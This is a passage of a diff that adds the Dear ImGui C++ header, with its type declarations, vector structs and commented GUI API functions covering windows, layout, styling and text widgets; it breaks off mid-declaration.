"-Wzero-as-null-pointer-constant" +#endif +#elif defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead +#endif + +//----------------------------------------------------------------------------- +// [SECTION] Forward declarations and basic types +//----------------------------------------------------------------------------- + +// Forward declarations +struct ImDrawChannel; // Temporary storage to output draw commands out of order, used by ImDrawListSplitter and ImDrawList::ChannelsSplit() +struct ImDrawCmd; // A single draw command within a parent ImDrawList (generally maps to 1 GPU draw call, unless it is a callback) +struct ImDrawData; // All draw command lists required to render the frame + pos/size coordinates to use for the projection matrix. +struct ImDrawList; // A single draw command list (generally one per window, conceptually you may see this as a dynamic "mesh" builder) +struct ImDrawListSharedData; // Data shared among multiple draw lists (typically owned by parent ImGui context, but you may create one yourself) +struct ImDrawListSplitter; // Helper to split a draw list into different layers which can be drawn into out of order, then flattened back. +struct ImDrawVert; // A single vertex (pos + uv + col = 20 bytes by default. Override layout with IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT) +struct ImFont; // Runtime data for a single font within a parent ImFontAtlas +struct ImFontAtlas; // Runtime data for multiple fonts, bake multiple fonts into a single texture, TTF/OTF font loader +struct ImFontConfig; // Configuration data when adding a font or merging fonts +struct ImFontGlyph; // A single font glyph (code point + coordinates within in ImFontAtlas + offset) +struct ImFontGlyphRangesBuilder; // Helper to build glyph ranges from text/string data +struct ImColor; // Helper functions to create a color that can be converted to either u32 or float4 (*OBSOLETE* please avoid using) +struct ImGuiContext; // Dear ImGui context (opaque structure, unless including imgui_internal.h) +struct ImGuiIO; // Main configuration and I/O between your application and ImGui +struct ImGuiInputTextCallbackData; // Shared state of InputText() when using custom ImGuiInputTextCallback (rare/advanced use) +struct ImGuiListClipper; // Helper to manually clip large list of items +struct ImGuiOnceUponAFrame; // Helper for running a block of code not more than once a frame, used by IMGUI_ONCE_UPON_A_FRAME macro +struct ImGuiPayload; // User data payload for drag and drop operations +struct ImGuiSizeCallbackData; // Callback data when using SetNextWindowSizeConstraints() (rare/advanced use) +struct ImGuiStorage; // Helper for key->value storage +struct ImGuiStyle; // Runtime data for styling/colors +struct ImGuiTableSortSpecs; // Sorting specifications for a table (often handling sort specs for a single column, occasionally more) +struct ImGuiTableColumnSortSpecs; // Sorting specification for one column of a table +struct ImGuiTextBuffer; // Helper to hold and append into a text buffer (~string builder) +struct ImGuiTextFilter; // Helper to parse and apply text filters (e.g. "aaaaa[,bbbbb][,ccccc]") + +// Enums/Flags (declared as int for compatibility with old C++, to allow using as flags and to not pollute the top of this file) +// - Tip: Use your programming IDE navigation facilities on the names in the _central column_ below to find the actual flags/enum lists! +// In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. +// With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. +typedef int ImGuiCol; // -> enum ImGuiCol_ // Enum: A color identifier for styling +typedef int ImGuiCond; // -> enum ImGuiCond_ // Enum: A condition for many Set*() functions +typedef int ImGuiDataType; // -> enum ImGuiDataType_ // Enum: A primary data type +typedef int ImGuiDir; // -> enum ImGuiDir_ // Enum: A cardinal direction +typedef int ImGuiKey; // -> enum ImGuiKey_ // Enum: A key identifier (ImGui-side enum) +typedef int ImGuiNavInput; // -> enum ImGuiNavInput_ // Enum: An input identifier for navigation +typedef int ImGuiMouseButton; // -> enum ImGuiMouseButton_ // Enum: A mouse button identifier (0=left, 1=right, 2=middle) +typedef int ImGuiMouseCursor; // -> enum ImGuiMouseCursor_ // Enum: A mouse cursor identifier +typedef int ImGuiSortDirection; // -> enum ImGuiSortDirection_ // Enum: A sorting direction (ascending or descending) +typedef int ImGuiStyleVar; // -> enum ImGuiStyleVar_ // Enum: A variable identifier for styling +typedef int ImGuiTableBgTarget; // -> enum ImGuiTableBgTarget_ // Enum: A color target for TableSetBgColor() +typedef int ImDrawCornerFlags; // -> enum ImDrawCornerFlags_ // Flags: for ImDrawList::AddRect(), AddRectFilled() etc. +typedef int ImDrawListFlags; // -> enum ImDrawListFlags_ // Flags: for ImDrawList +typedef int ImFontAtlasFlags; // -> enum ImFontAtlasFlags_ // Flags: for ImFontAtlas build +typedef int ImGuiBackendFlags; // -> enum ImGuiBackendFlags_ // Flags: for io.BackendFlags +typedef int ImGuiButtonFlags; // -> enum ImGuiButtonFlags_ // Flags: for InvisibleButton() +typedef int ImGuiColorEditFlags; // -> enum ImGuiColorEditFlags_ // Flags: for ColorEdit4(), ColorPicker4() etc. +typedef int ImGuiConfigFlags; // -> enum ImGuiConfigFlags_ // Flags: for io.ConfigFlags +typedef int ImGuiComboFlags; // -> enum ImGuiComboFlags_ // Flags: for BeginCombo() +typedef int ImGuiDragDropFlags; // -> enum ImGuiDragDropFlags_ // Flags: for BeginDragDropSource(), AcceptDragDropPayload() +typedef int ImGuiFocusedFlags; // -> enum ImGuiFocusedFlags_ // Flags: for IsWindowFocused() +typedef int ImGuiHoveredFlags; // -> enum ImGuiHoveredFlags_ // Flags: for IsItemHovered(), IsWindowHovered() etc. +typedef int ImGuiInputTextFlags; // -> enum ImGuiInputTextFlags_ // Flags: for InputText(), InputTextMultiline() +typedef int ImGuiKeyModFlags; // -> enum ImGuiKeyModFlags_ // Flags: for io.KeyMods (Ctrl/Shift/Alt/Super) +typedef int ImGuiPopupFlags; // -> enum ImGuiPopupFlags_ // Flags: for OpenPopup*(), BeginPopupContext*(), IsPopupOpen() +typedef int ImGuiSelectableFlags; // -> enum ImGuiSelectableFlags_ // Flags: for Selectable() +typedef int ImGuiSliderFlags; // -> enum ImGuiSliderFlags_ // Flags: for DragFloat(), DragInt(), SliderFloat(), SliderInt() etc. +typedef int ImGuiTabBarFlags; // -> enum ImGuiTabBarFlags_ // Flags: for BeginTabBar() +typedef int ImGuiTabItemFlags; // -> enum ImGuiTabItemFlags_ // Flags: for BeginTabItem() +typedef int ImGuiTableFlags; // -> enum ImGuiTableFlags_ // Flags: For BeginTable() +typedef int ImGuiTableColumnFlags; // -> enum ImGuiTableColumnFlags_// Flags: For TableSetupColumn() +typedef int ImGuiTableRowFlags; // -> enum ImGuiTableRowFlags_ // Flags: For TableNextRow() +typedef int ImGuiTreeNodeFlags; // -> enum ImGuiTreeNodeFlags_ // Flags: for TreeNode(), TreeNodeEx(), CollapsingHeader() +typedef int ImGuiWindowFlags; // -> enum ImGuiWindowFlags_ // Flags: for Begin(), BeginChild() + +// Other types +#ifndef ImTextureID // ImTextureID [configurable type: override in imconfig.h with '#define ImTextureID xxx'] +typedef void* ImTextureID; // User data for rendering backend to identify a texture. This is whatever to you want it to be! read the FAQ about ImTextureID for details. +#endif +typedef unsigned int ImGuiID; // A unique ID used by widgets, typically hashed from a stack of string. +typedef int (*ImGuiInputTextCallback)(ImGuiInputTextCallbackData* data); // Callback function for ImGui::InputText() +typedef void (*ImGuiSizeCallback)(ImGuiSizeCallbackData* data); // Callback function for ImGui::SetNextWindowSizeConstraints() + +// Character types +// (we generally use UTF-8 encoded string in the API. This is storage specifically for a decoded character used for keyboard input and display) +typedef unsigned short ImWchar16; // A single decoded U16 character/code point. We encode them as multi bytes UTF-8 when used in strings. +typedef unsigned int ImWchar32; // A single decoded U32 character/code point. We encode them as multi bytes UTF-8 when used in strings. +#ifdef IMGUI_USE_WCHAR32 // ImWchar [configurable type: override in imconfig.h with '#define IMGUI_USE_WCHAR32' to support Unicode planes 1-16] +typedef ImWchar32 ImWchar; +#else +typedef ImWchar16 ImWchar; +#endif + +// Basic scalar data types +typedef signed char ImS8; // 8-bit signed integer +typedef unsigned char ImU8; // 8-bit unsigned integer +typedef signed short ImS16; // 16-bit signed integer +typedef unsigned short ImU16; // 16-bit unsigned integer +typedef signed int ImS32; // 32-bit signed integer == int +typedef unsigned int ImU32; // 32-bit unsigned integer (often used to store packed colors) +#if defined(_MSC_VER) && !defined(__clang__) +typedef signed __int64 ImS64; // 64-bit signed integer (pre and post C++11 with Visual Studio) +typedef unsigned __int64 ImU64; // 64-bit unsigned integer (pre and post C++11 with Visual Studio) +#elif (defined(__clang__) || defined(__GNUC__)) && (__cplusplus < 201100) +#include +typedef int64_t ImS64; // 64-bit signed integer (pre C++11) +typedef uint64_t ImU64; // 64-bit unsigned integer (pre C++11) +#else +typedef signed long long ImS64; // 64-bit signed integer (post C++11) +typedef unsigned long long ImU64; // 64-bit unsigned integer (post C++11) +#endif + +// 2D vector (often used to store positions or sizes) +struct ImVec2 +{ + float x, y; + ImVec2() { x = y = 0.0f; } + ImVec2(float _x, float _y) { x = _x; y = _y; } + float operator[] (size_t idx) const { IM_ASSERT(idx <= 1); return (&x)[idx]; } // We very rarely use this [] operator, the assert overhead is fine. + float& operator[] (size_t idx) { IM_ASSERT(idx <= 1); return (&x)[idx]; } // We very rarely use this [] operator, the assert overhead is fine. +#ifdef IM_VEC2_CLASS_EXTRA + IM_VEC2_CLASS_EXTRA // Define additional constructors and implicit cast operators in imconfig.h to convert back and forth between your math types and ImVec2. +#endif +}; + +// 4D vector (often used to store floating-point colors) +struct ImVec4 +{ + float x, y, z, w; + ImVec4() { x = y = z = w = 0.0f; } + ImVec4(float _x, float _y, float _z, float _w) { x = _x; y = _y; z = _z; w = _w; } +#ifdef IM_VEC4_CLASS_EXTRA + IM_VEC4_CLASS_EXTRA // Define additional constructors and implicit cast operators in imconfig.h to convert back and forth between your math types and ImVec4. +#endif +}; + +//----------------------------------------------------------------------------- +// [SECTION] Dear ImGui end-user API functions +// (Note that ImGui:: being a namespace, you can add extra ImGui:: functions in your own separate file. Please don't modify imgui source files!) +//----------------------------------------------------------------------------- + +namespace ImGui +{ + // Context creation and access + // Each context create its own ImFontAtlas by default. You may instance one yourself and pass it to CreateContext() to share a font atlas between imgui contexts. + // None of those functions is reliant on the current context. + IMGUI_API ImGuiContext* CreateContext(ImFontAtlas* shared_font_atlas = NULL); + IMGUI_API void DestroyContext(ImGuiContext* ctx = NULL); // NULL = destroy current context + IMGUI_API ImGuiContext* GetCurrentContext(); + IMGUI_API void SetCurrentContext(ImGuiContext* ctx); + + // Main + IMGUI_API ImGuiIO& GetIO(); // access the IO structure (mouse/keyboard/gamepad inputs, time, various configuration options/flags) + IMGUI_API ImGuiStyle& GetStyle(); // access the Style structure (colors, sizes). Always use PushStyleCol(), PushStyleVar() to modify style mid-frame! + IMGUI_API void NewFrame(); // start a new Dear ImGui frame, you can submit any command from this point until Render()/EndFrame(). + IMGUI_API void EndFrame(); // ends the Dear ImGui frame. automatically called by Render(). If you don't need to render data (skipping rendering) you may call EndFrame() without Render()... but you'll have wasted CPU already! If you don't need to render, better to not create any windows and not call NewFrame() at all! + IMGUI_API void Render(); // ends the Dear ImGui frame, finalize the draw data. You can then get call GetDrawData(). + IMGUI_API ImDrawData* GetDrawData(); // valid after Render() and until the next call to NewFrame(). this is what you have to render. + + // Demo, Debug, Information + IMGUI_API void ShowDemoWindow(bool* p_open = NULL); // create Demo window. demonstrate most ImGui features. call this to learn about the library! try to make it always available in your application! + IMGUI_API void ShowMetricsWindow(bool* p_open = NULL); // create Metrics/Debugger window. display Dear ImGui internals: windows, draw commands, various internal state, etc. + IMGUI_API void ShowAboutWindow(bool* p_open = NULL); // create About window. display Dear ImGui version, credits and build/system information. + IMGUI_API void ShowStyleEditor(ImGuiStyle* ref = NULL); // add style editor block (not a window). you can pass in a reference ImGuiStyle structure to compare to, revert to and save to (else it uses the default style) + IMGUI_API bool ShowStyleSelector(const char* label); // add style selector block (not a window), essentially a combo listing the default styles. + IMGUI_API void ShowFontSelector(const char* label); // add font selector block (not a window), essentially a combo listing the loaded fonts. + IMGUI_API void ShowUserGuide(); // add basic help/info block (not a window): how to manipulate ImGui as a end-user (mouse/keyboard controls). + IMGUI_API const char* GetVersion(); // get the compiled version string e.g. "1.80 WIP" (essentially the value for IMGUI_VERSION from the compiled version of imgui.cpp) + + // Styles + IMGUI_API void StyleColorsDark(ImGuiStyle* dst = NULL); // new, recommended style (default) + IMGUI_API void StyleColorsLight(ImGuiStyle* dst = NULL); // best used with borders and a custom, thicker font + IMGUI_API void StyleColorsClassic(ImGuiStyle* dst = NULL); // classic imgui style + + // Windows + // - Begin() = push window to the stack and start appending to it. End() = pop window from the stack. + // - Passing 'bool* p_open != NULL' shows a window-closing widget in the upper-right corner of the window, + // which clicking will set the boolean to false when clicked. + // - You may append multiple times to the same window during the same frame by calling Begin()/End() pairs multiple times. + // Some information such as 'flags' or 'p_open' will only be considered by the first call to Begin(). + // - Begin() return false to indicate the window is collapsed or fully clipped, so you may early out and omit submitting + // anything to the window. Always call a matching End() for each Begin() call, regardless of its return value! + // [Important: due to legacy reason, this is inconsistent with most other functions such as BeginMenu/EndMenu, + // BeginPopup/EndPopup, etc. where the EndXXX call should only be called if the corresponding BeginXXX function + // returned true. Begin and BeginChild are the only odd ones out. Will be fixed in a future update.] + // - Note that the bottom of window stack always contains a window called "Debug". + IMGUI_API bool Begin(const char* name, bool* p_open = NULL, ImGuiWindowFlags flags = 0); + IMGUI_API void End(); + + // Child Windows + // - Use child windows to begin into a self-contained independent scrolling/clipping regions within a host window. Child windows can embed their own child. + // - For each independent axis of 'size': ==0.0f: use remaining host window size / >0.0f: fixed size / <0.0f: use remaining window size minus abs(size) / Each axis can use a different mode, e.g. ImVec2(0,400). + // - BeginChild() returns false to indicate the window is collapsed or fully clipped, so you may early out and omit submitting anything to the window. + // Always call a matching EndChild() for each BeginChild() call, regardless of its return value. + // [Important: due to legacy reason, this is inconsistent with most other functions such as BeginMenu/EndMenu, + // BeginPopup/EndPopup, etc. where the EndXXX call should only be called if the corresponding BeginXXX function + // returned true. Begin and BeginChild are the only odd ones out. Will be fixed in a future update.] + IMGUI_API bool BeginChild(const char* str_id, const ImVec2& size = ImVec2(0, 0), bool border = false, ImGuiWindowFlags flags = 0); + IMGUI_API bool BeginChild(ImGuiID id, const ImVec2& size = ImVec2(0, 0), bool border = false, ImGuiWindowFlags flags = 0); + IMGUI_API void EndChild(); + + // Windows Utilities + // - 'current window' = the window we are appending into while inside a Begin()/End() block. 'next window' = next window we will Begin() into. + IMGUI_API bool IsWindowAppearing(); + IMGUI_API bool IsWindowCollapsed(); + IMGUI_API bool IsWindowFocused(ImGuiFocusedFlags flags=0); // is current window focused? or its root/child, depending on flags. see flags for options. + IMGUI_API bool IsWindowHovered(ImGuiHoveredFlags flags=0); // is current window hovered (and typically: not blocked by a popup/modal)? see flags for options. NB: If you are trying to check whether your mouse should be dispatched to imgui or to your app, you should use the 'io.WantCaptureMouse' boolean for that! Please read the FAQ! + IMGUI_API ImDrawList* GetWindowDrawList(); // get draw list associated to the current window, to append your own drawing primitives + IMGUI_API ImVec2 GetWindowPos(); // get current window position in screen space (useful if you want to do your own drawing via the DrawList API) + IMGUI_API ImVec2 GetWindowSize(); // get current window size + IMGUI_API float GetWindowWidth(); // get current window width (shortcut for GetWindowSize().x) + IMGUI_API float GetWindowHeight(); // get current window height (shortcut for GetWindowSize().y) + + // Prefer using SetNextXXX functions (before Begin) rather that SetXXX functions (after Begin). + IMGUI_API void SetNextWindowPos(const ImVec2& pos, ImGuiCond cond = 0, const ImVec2& pivot = ImVec2(0, 0)); // set next window position. call before Begin(). use pivot=(0.5f,0.5f) to center on given point, etc. + IMGUI_API void SetNextWindowSize(const ImVec2& size, ImGuiCond cond = 0); // set next window size. set axis to 0.0f to force an auto-fit on this axis. call before Begin() + IMGUI_API void SetNextWindowSizeConstraints(const ImVec2& size_min, const ImVec2& size_max, ImGuiSizeCallback custom_callback = NULL, void* custom_callback_data = NULL); // set next window size limits. use -1,-1 on either X/Y axis to preserve the current size. Sizes will be rounded down. Use callback to apply non-trivial programmatic constraints. + IMGUI_API void SetNextWindowContentSize(const ImVec2& size); // set next window content size (~ scrollable client area, which enforce the range of scrollbars). Not including window decorations (title bar, menu bar, etc.) nor WindowPadding. set an axis to 0.0f to leave it automatic. call before Begin() + IMGUI_API void SetNextWindowCollapsed(bool collapsed, ImGuiCond cond = 0); // set next window collapsed state. call before Begin() + IMGUI_API void SetNextWindowFocus(); // set next window to be focused / top-most. call before Begin() + IMGUI_API void SetNextWindowBgAlpha(float alpha); // set next window background color alpha. helper to easily override the Alpha component of ImGuiCol_WindowBg/ChildBg/PopupBg. you may also use ImGuiWindowFlags_NoBackground. + IMGUI_API void SetWindowPos(const ImVec2& pos, ImGuiCond cond = 0); // (not recommended) set current window position - call within Begin()/End(). prefer using SetNextWindowPos(), as this may incur tearing and side-effects. + IMGUI_API void SetWindowSize(const ImVec2& size, ImGuiCond cond = 0); // (not recommended) set current window size - call within Begin()/End(). set to ImVec2(0, 0) to force an auto-fit. prefer using SetNextWindowSize(), as this may incur tearing and minor side-effects. + IMGUI_API void SetWindowCollapsed(bool collapsed, ImGuiCond cond = 0); // (not recommended) set current window collapsed state. prefer using SetNextWindowCollapsed(). + IMGUI_API void SetWindowFocus(); // (not recommended) set current window to be focused / top-most. prefer using SetNextWindowFocus(). + IMGUI_API void SetWindowFontScale(float scale); // set font scale. Adjust IO.FontGlobalScale if you want to scale all windows. This is an old API! For correct scaling, prefer to reload font + rebuild ImFontAtlas + call style.ScaleAllSizes(). + IMGUI_API void SetWindowPos(const char* name, const ImVec2& pos, ImGuiCond cond = 0); // set named window position. + IMGUI_API void SetWindowSize(const char* name, const ImVec2& size, ImGuiCond cond = 0); // set named window size. set axis to 0.0f to force an auto-fit on this axis. + IMGUI_API void SetWindowCollapsed(const char* name, bool collapsed, ImGuiCond cond = 0); // set named window collapsed state + IMGUI_API void SetWindowFocus(const char* name); // set named window to be focused / top-most. use NULL to remove focus. + + // Content region + // - Retrieve available space from a given point. GetContentRegionAvail() is frequently useful. + // - Those functions are bound to be redesigned (they are confusing, incomplete and the Min/Max return values are in local window coordinates which increases confusion) + IMGUI_API ImVec2 GetContentRegionAvail(); // == GetContentRegionMax() - GetCursorPos() + IMGUI_API ImVec2 GetContentRegionMax(); // current content boundaries (typically window boundaries including scrolling, or current column boundaries), in windows coordinates + IMGUI_API ImVec2 GetWindowContentRegionMin(); // content boundaries min (roughly (0,0)-Scroll), in window coordinates + IMGUI_API ImVec2 GetWindowContentRegionMax(); // content boundaries max (roughly (0,0)+Size-Scroll) where Size can be override with SetNextWindowContentSize(), in window coordinates + IMGUI_API float GetWindowContentRegionWidth(); // + + // Windows Scrolling + IMGUI_API float GetScrollX(); // get scrolling amount [0 .. GetScrollMaxX()] + IMGUI_API float GetScrollY(); // get scrolling amount [0 .. GetScrollMaxY()] + IMGUI_API void SetScrollX(float scroll_x); // set scrolling amount [0 .. GetScrollMaxX()] + IMGUI_API void SetScrollY(float scroll_y); // set scrolling amount [0 .. GetScrollMaxY()] + IMGUI_API float GetScrollMaxX(); // get maximum scrolling amount ~~ ContentSize.x - WindowSize.x - DecorationsSize.x + IMGUI_API float GetScrollMaxY(); // get maximum scrolling amount ~~ ContentSize.y - WindowSize.y - DecorationsSize.y + IMGUI_API void SetScrollHereX(float center_x_ratio = 0.5f); // adjust scrolling amount to make current cursor position visible. center_x_ratio=0.0: left, 0.5: center, 1.0: right. When using to make a "default/current item" visible, consider using SetItemDefaultFocus() instead. + IMGUI_API void SetScrollHereY(float center_y_ratio = 0.5f); // adjust scrolling amount to make current cursor position visible. center_y_ratio=0.0: top, 0.5: center, 1.0: bottom. When using to make a "default/current item" visible, consider using SetItemDefaultFocus() instead. + IMGUI_API void SetScrollFromPosX(float local_x, float center_x_ratio = 0.5f); // adjust scrolling amount to make given position visible. Generally GetCursorStartPos() + offset to compute a valid position. + IMGUI_API void SetScrollFromPosY(float local_y, float center_y_ratio = 0.5f); // adjust scrolling amount to make given position visible. Generally GetCursorStartPos() + offset to compute a valid position. + + // Parameters stacks (shared) + IMGUI_API void PushFont(ImFont* font); // use NULL as a shortcut to push default font + IMGUI_API void PopFont(); + IMGUI_API void PushStyleColor(ImGuiCol idx, ImU32 col); // modify a style color. always use this if you modify the style after NewFrame(). + IMGUI_API void PushStyleColor(ImGuiCol idx, const ImVec4& col); + IMGUI_API void PopStyleColor(int count = 1); + IMGUI_API void PushStyleVar(ImGuiStyleVar idx, float val); // modify a style float variable. always use this if you modify the style after NewFrame(). + IMGUI_API void PushStyleVar(ImGuiStyleVar idx, const ImVec2& val); // modify a style ImVec2 variable. always use this if you modify the style after NewFrame(). + IMGUI_API void PopStyleVar(int count = 1); + IMGUI_API void PushAllowKeyboardFocus(bool allow_keyboard_focus); // allow focusing using TAB/Shift-TAB, enabled by default but you can disable it for certain widgets + IMGUI_API void PopAllowKeyboardFocus(); + IMGUI_API void PushButtonRepeat(bool repeat); // in 'repeat' mode, Button*() functions return repeated true in a typematic manner (using io.KeyRepeatDelay/io.KeyRepeatRate setting). Note that you can call IsItemActive() after any Button() to tell if the button is held in the current frame. + IMGUI_API void PopButtonRepeat(); + + // Parameters stacks (current window) + IMGUI_API void PushItemWidth(float item_width); // push width of items for common large "item+label" widgets. >0.0f: width in pixels, <0.0f align xx pixels to the right of window (so -FLT_MIN always align width to the right side). 0.0f = default to ~2/3 of windows width, + IMGUI_API void PopItemWidth(); + IMGUI_API void SetNextItemWidth(float item_width); // set width of the _next_ common large "item+label" widget. >0.0f: width in pixels, <0.0f align xx pixels to the right of window (so -FLT_MIN always align width to the right side) + IMGUI_API float CalcItemWidth(); // width of item given pushed settings and current cursor position. NOT necessarily the width of last item unlike most 'Item' functions. + IMGUI_API void PushTextWrapPos(float wrap_local_pos_x = 0.0f); // push word-wrapping position for Text*() commands. < 0.0f: no wrapping; 0.0f: wrap to end of window (or column); > 0.0f: wrap at 'wrap_pos_x' position in window local space + IMGUI_API void PopTextWrapPos(); + + // Style read access + IMGUI_API ImFont* GetFont(); // get current font + IMGUI_API float GetFontSize(); // get current font size (= height in pixels) of current font with current scale applied + IMGUI_API ImVec2 GetFontTexUvWhitePixel(); // get UV coordinate for a while pixel, useful to draw custom shapes via the ImDrawList API + IMGUI_API ImU32 GetColorU32(ImGuiCol idx, float alpha_mul = 1.0f); // retrieve given style color with style alpha applied and optional extra alpha multiplier, packed as a 32-bit value suitable for ImDrawList + IMGUI_API ImU32 GetColorU32(const ImVec4& col); // retrieve given color with style alpha applied, packed as a 32-bit value suitable for ImDrawList + IMGUI_API ImU32 GetColorU32(ImU32 col); // retrieve given color with style alpha applied, packed as a 32-bit value suitable for ImDrawList + IMGUI_API const ImVec4& GetStyleColorVec4(ImGuiCol idx); // retrieve style color as stored in ImGuiStyle structure. use to feed back into PushStyleColor(), otherwise use GetColorU32() to get style color with style alpha baked in. + + // Cursor / Layout + // - By "cursor" we mean the current output position. + // - The typical widget behavior is to output themselves at the current cursor position, then move the cursor one line down. + // - You can call SameLine() between widgets to undo the last carriage return and output at the right of the preceding widget. + // - Attention! We currently have inconsistencies between window-local and absolute positions we will aim to fix with future API: + // Window-local coordinates: SameLine(), GetCursorPos(), SetCursorPos(), GetCursorStartPos(), GetContentRegionMax(), GetWindowContentRegion*(), PushTextWrapPos() + // Absolute coordinate: GetCursorScreenPos(), SetCursorScreenPos(), all ImDrawList:: functions. + IMGUI_API void Separator(); // separator, generally horizontal. inside a menu bar or in horizontal layout mode, this becomes a vertical separator. + IMGUI_API void SameLine(float offset_from_start_x=0.0f, float spacing=-1.0f); // call between widgets or groups to layout them horizontally. X position given in window coordinates. + IMGUI_API void NewLine(); // undo a SameLine() or force a new line when in an horizontal-layout context. + IMGUI_API void Spacing(); // add vertical spacing. + IMGUI_API void Dummy(const ImVec2& size); // add a dummy item of given size. unlike InvisibleButton(), Dummy() won't take the mouse click or be navigable into. + IMGUI_API void Indent(float indent_w = 0.0f); // move content position toward the right, by indent_w, or style.IndentSpacing if indent_w <= 0 + IMGUI_API void Unindent(float indent_w = 0.0f); // move content position back to the left, by indent_w, or style.IndentSpacing if indent_w <= 0 + IMGUI_API void BeginGroup(); // lock horizontal starting position + IMGUI_API void EndGroup(); // unlock horizontal starting position + capture the whole group bounding box into one "item" (so you can use IsItemHovered() or layout primitives such as SameLine() on whole group, etc.) + IMGUI_API ImVec2 GetCursorPos(); // cursor position in window coordinates (relative to window position) + IMGUI_API float GetCursorPosX(); // (some functions are using window-relative coordinates, such as: GetCursorPos, GetCursorStartPos, GetContentRegionMax, GetWindowContentRegion* etc. + IMGUI_API float GetCursorPosY(); // other functions such as GetCursorScreenPos or everything in ImDrawList:: + IMGUI_API void SetCursorPos(const ImVec2& local_pos); // are using the main, absolute coordinate system. + IMGUI_API void SetCursorPosX(float local_x); // GetWindowPos() + GetCursorPos() == GetCursorScreenPos() etc.) + IMGUI_API void SetCursorPosY(float local_y); // + IMGUI_API ImVec2 GetCursorStartPos(); // initial cursor position in window coordinates + IMGUI_API ImVec2 GetCursorScreenPos(); // cursor position in absolute screen coordinates [0..io.DisplaySize] (useful to work with ImDrawList API) + IMGUI_API void SetCursorScreenPos(const ImVec2& pos); // cursor position in absolute screen coordinates [0..io.DisplaySize] + IMGUI_API void AlignTextToFramePadding(); // vertically align upcoming text baseline to FramePadding.y so that it will align properly to regularly framed items (call if you have text on a line before a framed item) + IMGUI_API float GetTextLineHeight(); // ~ FontSize + IMGUI_API float GetTextLineHeightWithSpacing(); // ~ FontSize + style.ItemSpacing.y (distance in pixels between 2 consecutive lines of text) + IMGUI_API float GetFrameHeight(); // ~ FontSize + style.FramePadding.y * 2 + IMGUI_API float GetFrameHeightWithSpacing(); // ~ FontSize + style.FramePadding.y * 2 + style.ItemSpacing.y (distance in pixels between 2 consecutive lines of framed widgets) + + // ID stack/scopes + // - Read the FAQ for more details about how ID are handled in dear imgui. If you are creating widgets in a loop you most + // likely want to push a unique identifier (e.g. object pointer, loop index) to uniquely differentiate them. + // - The resulting ID are hashes of the entire stack. + // - You can also use the "Label##foobar" syntax within widget label to distinguish them from each others. + // - In this header file we use the "label"/"name" terminology to denote a string that will be displayed and used as an ID, + // whereas "str_id" denote a string that is only used as an ID and not normally displayed. + IMGUI_API void PushID(const char* str_id); // push string into the ID stack (will hash string). + IMGUI_API void PushID(const char* str_id_begin, const char* str_id_end); // push string into the ID stack (will hash string). + IMGUI_API void PushID(const void* ptr_id); // push pointer into the ID stack (will hash pointer). + IMGUI_API void PushID(int int_id); // push integer into the ID stack (will hash integer). + IMGUI_API void PopID(); // pop from the ID stack. + IMGUI_API ImGuiID GetID(const char* str_id); // calculate unique ID (hash of whole ID stack + given parameter). e.g. if you want to query into ImGuiStorage yourself + IMGUI_API ImGuiID GetID(const char* str_id_begin, const char* str_id_end); + IMGUI_API ImGuiID GetID(const void* ptr_id); + + // Widgets: Text + IMGUI_API void TextUnformatted(const char* text, const char* text_end = NULL); // raw text without formatting. Roughly equivalent to Text("%s", text) but: A) doesn't require null terminated string if 'text_end' is specified, B) it's faster, no memory copy is done, no buffer size limits, recommended for long chunks of text. + IMGUI_API void Text(const char* fmt, ...) IM_FMTARGS(1); // formatted text + IMGUI_API void TextV(const char* fmt, va_list args) IM_FMTLIST(1); + IMGUI_API void TextColored(const ImVec4& col, const char* fmt, ...) IM_FMTARGS(2); // shortcut for PushStyleColor(ImGuiCol_Text, col); Text(fmt, ...); PopStyleColor(); + IMGUI_API void TextColoredV(const ImVec4& col, const char* fmt, va_list args) IM_FMTLIST(2); + IMGUI_API void TextDisabled(const char* fmt, ...) IM_FMTARGS(1); // shortcut for PushStyleColor(ImGuiCol_Text, style.Colors[ImGuiCol_TextDisabled]); Text(fmt, ...); PopStyleColor(); + IMGUI_API void TextDisabledV(const char* fmt, va_list args) IM_FMTLIST(1); + IMGUI_API void TextWrapped(const char* fmt, ...) IM_FMTARGS(1); // shortcut for PushTextWrapPos(0.0f); Text(fmt, ...); PopTextWrapPos();. Note that this won't work on an auto-resizing window if there's no other widgets to extend the window width, yoy may need to set a size using SetNextWindowSize(). + IMGUI_API void TextWrappedV(const char* fmt, va_list args) IM_FMTLIST(1); + IMGUI_API void LabelText(const char* label, const char* fmt, ...) IM_FMTARGS(2); // display text+label aligned the same way as value+label widgets + IMGUI_API void LabelTextV(const char* label, const char* fmt, va_list args) IM_FMTLIST(2); + IMGUI_API void BulletText(const char* fmt, ...) IM_FMTARGS(1); // shortcut for Bullet()+Text() + IMGUI_API void BulletTextV(const char* fmt, va_list args) IM_FMTLIST(1); + + // Widgets: Main + // - Most widgets return true when the value has been changed or when pressed/selected + // - You may also use one of the many IsItemXXX functions (e.g. IsItemActive, IsItemHovered, etc.) to query widget state. + IMGUI_API bool Button(const char* label, const ImVec2& size = ImVec2(0, 0)); // button + IMGUI_API bool SmallButton(const char* label); // button with FramePadding=(0,0) to easily embed within text + IMGUI_API bool InvisibleButton(const char* str_id, const ImVec2& size, ImGuiButtonFlags flags = 0); // flexible button behavior without the visuals, frequently useful to build custom behaviors using the public api (along with IsItemActive, IsItemHovered, etc.) + IMGUI_API bool ArrowButton(const char* str_id, ImGuiDir dir); // square button with an arrow shape + IMGUI_API void Image(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1,1), const ImVec4& tint_col = ImVec4(1,1,1,1), const ImVec4& border_col = ImVec4(0,0,0,0)); + IMGUI_API bool ImageButton(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1,1), int frame_padding = -1, const ImVec4& bg_col = ImVec4(0,0,0,0), const ImVec4& tint_col = ImVec4(1,1,1,1)); // <0 frame_padding uses default frame padding settings. 0 for no padding + IMGUI_API bool Checkbox(const 